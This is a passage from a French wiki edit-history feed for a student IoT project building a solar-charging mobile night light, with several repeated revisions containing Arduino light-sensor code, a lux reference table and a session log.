Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Circuit_veilleuse.png&amp;diff=46819</id>
		<title>Fichier:Circuit veilleuse.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Circuit_veilleuse.png&amp;diff=46819"/>
				<updated>2018-01-23T18:23:34Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46818</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46818"/>
				<updated>2018-01-23T18:23:16Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
[[Fichier:carte_veilleuse.png]]&lt;br /&gt;
[[Fichier:circuit_veilleuse.jpg]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Carte_veilleuse.png&amp;diff=46817</id>
		<title>Fichier:Carte veilleuse.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Carte_veilleuse.png&amp;diff=46817"/>
				<updated>2018-01-23T18:22:43Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46816</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46816"/>
				<updated>2018-01-23T18:21:51Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
[[Fichier:carte_veilleuse.jpg]]&lt;br /&gt;
[[Fichier:circuit_veilleuse.jpg]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46815</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46815"/>
				<updated>2018-01-23T18:21:16Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
